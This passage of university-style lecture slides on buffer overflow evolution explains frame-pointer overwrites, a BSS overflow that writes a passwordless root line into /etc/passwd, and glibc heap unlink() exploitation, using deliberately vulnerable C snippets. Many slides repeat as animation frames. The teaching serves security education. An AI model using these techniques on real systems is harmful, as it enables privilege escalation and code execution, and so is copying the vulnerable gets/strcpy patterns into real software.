leave: movl %ebp,%esp

; esp := modified SFP (mSFP)

popl %ebpret: popl %eip

; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 65 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.

leave and ret in main()

leave: movl %ebp,%esp

; esp := modified SFP (mSFP)

popl %ebpret: popl %eip

; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 66 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.

leave and ret in main()

leave: movl %ebp,%esp ; esp := modified SFP (mSFP)popl %ebp

ret: popl %eip

; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 67 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.

leave and ret in main()

leave: movl %ebp,%esp ; esp := modified SFP (mSFP)popl %ebp

ret: popl %eip

; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 68 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.

leave and ret in main()

leave: movl %ebp,%esp ; esp := modified SFP (mSFP)popl %ebp

ret: popl %eip ; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 69 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c ofp

sfp = ofp =0xbffffe4c

Matthias Vallentin On the Evolution of Buffer Overflows 70 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c ofp

38

sfp = ebp-8

-8

Matthias Vallentin On the Evolution of Buffer Overflows 71 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (foo) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c ofp

38

Matthias Vallentin On the Evolution of Buffer Overflows 72 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (foo) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c ofp

38

ebp = m.sfpofp != ebp

Matthias Vallentin On the Evolution of Buffer Overflows 73 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (foo) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c

38

eip = rip

Matthias Vallentin On the Evolution of Buffer Overflows 74 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (main) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c

38

Matthias Vallentin On the Evolution of Buffer Overflows 75 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (main) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c

38

Matthias Vallentin On the Evolution of Buffer Overflows 76 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (main) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c

38

Matthias Vallentin On the Evolution of Buffer Overflows 77 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (main) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c

38

eip = payload addr

Matthias Vallentin On the Evolution of Buffer Overflows 78 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Exploitation Technique [Phr55-8]

rip

sfp

bufmain()

foo()

payload addr

shellcode

NOPs

espebpeip

01baf230cd8ae8320b020242

leave: (main) movl %ebp,%esp popl %ebpret: popl %eip

0xbffffe40

0xbffffe3c

0xbffffe38

0xbffffe44

0xbffffe48

0xbffffe4c

38

sh-2.05b$

Matthias Vallentin On the Evolution of Buffer Overflows 79 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 80 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Process Layout in Memory

Stackgrows towards decreasingaddresses.is initialized at run-time.

Heap and BSS sections

grow towards increasingaddresses.are initialized at run-time.

Data section

is initialized at compile-time.

Text section

holds the program instructions(read-only).

Stack

Heap

BSS

Data

Text

dynamicgrowth

0xc0000000

0x08048000

high address

low address

Matthias Vallentin On the Evolution of Buffer Overflows 81 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Process Layout in Memory

Stackgrows towards decreasingaddresses.is initialized at run-time.

Heap and BSS sections

grow towards increasingaddresses.are initialized at run-time.

Data section

is initialized at compile-time.

Text section

holds the program instructions(read-only).

Stack

Heap

BSS

Data

Text

dynamicgrowth

0xc0000000

0x08048000

high address

low address

uninitialized variablesinitialized variables

Matthias Vallentin On the Evolution of Buffer Overflows 82 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

BSS Overflow [w00w00]

*tmpfile

buf

int main(int argc, char *argv[]){ FILE *tmpfd; static char buf[24]; static char *tmpfile;

tmpfile = "/tmp/file"; gets(buf); fputs(buf, tmpfd); ...}

"/tmp/file"

BSS

Data

argv[1]Stack

buf

buf:

Matthias Vallentin On the Evolution of Buffer Overflows 83 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

BSS Overflow [w00w00]

*tmpfile

buf

"/tmp/file"

BSS

Data

"/etc/passwd"

ruth::0:0::/:/bin/sh #

B B

Stack

buf:

int main(int argc, char *argv[]){ FILE *tmpfd; static char buf[24]; static char *tmpfile;

tmpfile = "/tmp/file"; gets(buf); fputs(buf, tmpfd); ...}

Matthias Vallentin On the Evolution of Buffer Overflows 84 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

BSS Overflows

Unlike the stack, the BSS segment has no sensitivemanagement information to overwrite.

→ But pointers can be everywhere!

Switching to pointer subterfuge:

Function-pointer overwritesData-pointer manipulationException-handler hijackingVPTR smashing...

Matthias Vallentin On the Evolution of Buffer Overflows 85 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 86 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Heap

The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]

ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).

Heap memory is organized in chunks that can be allocated,freed, merged, etc.

Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)

stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks

very fast.

Matthias Vallentin On the Evolution of Buffer Overflows 87 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Heap

The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]

ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).

Heap memory is organized in chunks that can be allocated,freed, merged, etc.

Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)

stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks

very fast.

Matthias Vallentin On the Evolution of Buffer Overflows 88 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Heap

The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]

ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).

Heap memory is organized in chunks that can be allocated,freed, merged, etc.

Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)

stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks

very fast.

Matthias Vallentin On the Evolution of Buffer Overflows 89 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

The Heap

The heap is ”[...] a pool of memory available for the allocationand deallocation of arbitrary-sized blocks of memory in arbitraryorder.” [WJN+95]

ANSI-C functions malloc() and friends are used to managethe heap (glibc uses ptmalloc).

Heap memory is organized in chunks that can be allocated,freed, merged, etc.

Boundary Tags contain meta information about chunks (size,previous/next pointer, etc.)

stored both in the front and end of each chunk.→ makes consolidating fragmented chunks into bigger chunks

very fast.

Matthias Vallentin On the Evolution of Buffer Overflows 90 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Chunks in Memory

allocated chunk

wilderness chunk

high

add

ress

es

allocated chunk

free chunk

allocated chunk

free chunk

allocated chunk

heap

gro

wing

dir

ecti

on

Matthias Vallentin On the Evolution of Buffer Overflows 91 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Understanding Heap Management

Boundary Tags

prev size: size of previous chunk (if free).

size: size in bytes, including overhead.

PREV INUSE: Status bit; set if previous chunk is allocated.

fd/bk: forward/backward pointer for double links (if free).

prev_size

size

fd

PREV_INUSE

bk

data

chunk

mem

nextchunk

4

4

4

4

>= 0

free chunk

Managing Free Chunks

Free chunks of similar sizeare grouped into bins.

fd/bk pointers to navigatethrough double links.

prev_size

size

fd

PREV_INUSE

bk

data

chunk

mem

nextchunk

data

allocated chunk

data from previous chunk

4

4

4

4

>= 0

Matthias Vallentin On the Evolution of Buffer Overflows 92 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Understanding Heap Management

Boundary Tags

prev size: size of previous chunk (if free).

size: size in bytes, including overhead.

PREV INUSE: Status bit; set if previous chunk is allocated.

fd/bk: forward/backward pointer for double links (if free).

prev_size

size

fd

PREV_INUSE

bk

data

chunk

mem

nextchunk

4

4

4

4

>= 0

free chunk

Managing Free Chunks

Free chunks of similar sizeare grouped into bins.

fd/bk pointers to navigatethrough double links.

prev_size

size

fd

PREV_INUSE

bk

data

chunk

mem

nextchunk

data

allocated chunk

data from previous chunk

4

4

4

4

>= 0

Matthias Vallentin On the Evolution of Buffer Overflows 93 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Understanding Heap Management

Boundary Tags

prev size: size of previous chunk (if free).

size: size in bytes, including overhead.

PREV INUSE: Status bit; set if previous chunk is allocated.

fd/bk: forward/backward pointer for double links (if free).

Managing Free Chunks

Free chunks of similar sizeare grouped into bins.

fd/bk pointers to navigatethrough double links.

Chunk

Bin

Chunk

Chunk

fdbk bk

fd

bkfd

bkfd

Matthias Vallentin On the Evolution of Buffer Overflows 94 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Removing Chunks from a Bin: unlink()

#define unlink(P, BK, FD){

BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;

}

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 95 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Removing Chunks from a Bin: unlink()

#define unlink(P, BK, FD){

BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;

}

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 96 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Removing Chunks from a Bin: unlink()

#define unlink(P, BK, FD){

BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;

}

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 97 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Removing Chunks from a Bin: unlink()

#define unlink(P, BK, FD){

BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;

}

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 98 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Removing Chunks from a Bin: unlink()

#define unlink(P, BK, FD){

BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;

}

FD + 12 = BK

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

high

add

ress

es

+12

Matthias Vallentin On the Evolution of Buffer Overflows 99 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Removing Chunks from a Bin: unlink()

#define unlink(P, BK, FD){

BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;

}

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 100 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Removing Chunks from a Bin: unlink()

#define unlink(P, BK, FD){

BK = P->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;

}

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

prev_size

size

fd

PREV_INUSE

bk

data

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 101 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability

...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...

buf1-3 are separated by theirboundary tags (prev size and size).

Similar to the stack, we canoverwrite internal managementinformation.

Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk

by modifying the PREV INUSEbit of buf3

⇒ Arbitrary memory modificationpossible.

Matthias Vallentin On the Evolution of Buffer Overflows 102 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability

...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...

buf1-3 are separated by theirboundary tags (prev size and size).

Similar to the stack, we canoverwrite internal managementinformation.

Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk

by modifying the PREV INUSEbit of buf3

⇒ Arbitrary memory modificationpossible.

Matthias Vallentin On the Evolution of Buffer Overflows 103 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability

...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...

buf1-3 are separated by theirboundary tags (prev size and size).

Similar to the stack, we canoverwrite internal managementinformation.

Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk

by modifying the PREV INUSEbit of buf3

⇒ Arbitrary memory modificationpossible.

Matthias Vallentin On the Evolution of Buffer Overflows 104 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability

...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...

buf1-3 are separated by theirboundary tags (prev size and size).

Similar to the stack, we canoverwrite internal managementinformation.

Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk

by modifying the PREV INUSEbit of buf3

⇒ Arbitrary memory modificationpossible.

Matthias Vallentin On the Evolution of Buffer Overflows 105 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability

...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...gets(buf2);...free(buf1);free(buf2);...

buf1-3 are separated by theirboundary tags (prev size and size).

Similar to the stack, we canoverwrite internal managementinformation.

Idea: manipulate fd/bk fields ofbuf2, then call unlink() on themodified chunk

by modifying the PREV INUSEbit of buf3

⇒ Arbitrary memory modificationpossible.

Matthias Vallentin On the Evolution of Buffer Overflows 106 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

free()

1 When free() is called, it looks at the next chunk to seewhether it is in use or not.

2 If the next chunk is unused, unlink() is called to merge itwith the chunk being freed.

→ Evaluation of the PREV INUSE bit of the third chunk.

Matthias Vallentin On the Evolution of Buffer Overflows 107 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

free()

1 When free() is called, it looks at the next chunk to seewhether it is in use or not.

2 If the next chunk is unused, unlink() is called to merge itwith the chunk being freed.

→ Evaluation of the PREV INUSE bit of the third chunk.

Matthias Vallentin On the Evolution of Buffer Overflows 108 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

free()

1 When free() is called, it looks at the next chunk to seewhether it is in use or not.

2 If the next chunk is unused, unlink() is called to merge itwith the chunk being freed.

→ Evaluation of the PREV INUSE bit of the third chunk.

Matthias Vallentin On the Evolution of Buffer Overflows 109 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...strcpy(buf2,"123456789012");...free(buf1);free(buf2);...

prev_size

size

fd

PREV_INUSE

bk

prev_size

size

fd

PREV_INUSE

bk

prev_size

size

fd

PREV_INUSE

bk

buf1

high

add

ress

es

buf2

buf3

Matthias Vallentin On the Evolution of Buffer Overflows 110 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...strcpy(buf2,"123456789012");...free(buf1);free(buf2);...

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 111 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(0);char *buf3 = malloc(0);...strcpy(buf2,"123456789012");...free(buf1);free(buf2);...

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 112 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code

1 free(buf1) looks atPREV INUSE of chunk #3.

2 unlink() on chunk #2.3 P->fd->bk = P->bk

→ P->fd = 0x34333231→ P->bk = 0x38373635

⇒ Segmentation fault at0x34333231 + 12

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 113 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code

1 free(buf1) looks atPREV INUSE of chunk #3.

2 unlink() on chunk #2.

3 P->fd->bk = P->bk

→ P->fd = 0x34333231→ P->bk = 0x38373635

⇒ Segmentation fault at0x34333231 + 12

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 114 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code

1 free(buf1) looks atPREV INUSE of chunk #3.

2 unlink() on chunk #2.3 P->fd->bk = P->bk

→ P->fd = 0x34333231→ P->bk = 0x38373635

⇒ Segmentation fault at0x34333231 + 12

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 115 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code

1 free(buf1) looks atPREV INUSE of chunk #3.

2 unlink() on chunk #2.3 P->fd->bk = P->bk

→ P->fd = 0x34333231

→ P->bk = 0x38373635

⇒ Segmentation fault at0x34333231 + 12

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 116 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code

1 free(buf1) looks atPREV INUSE of chunk #3.

2 unlink() on chunk #2.3 P->fd->bk = P->bk

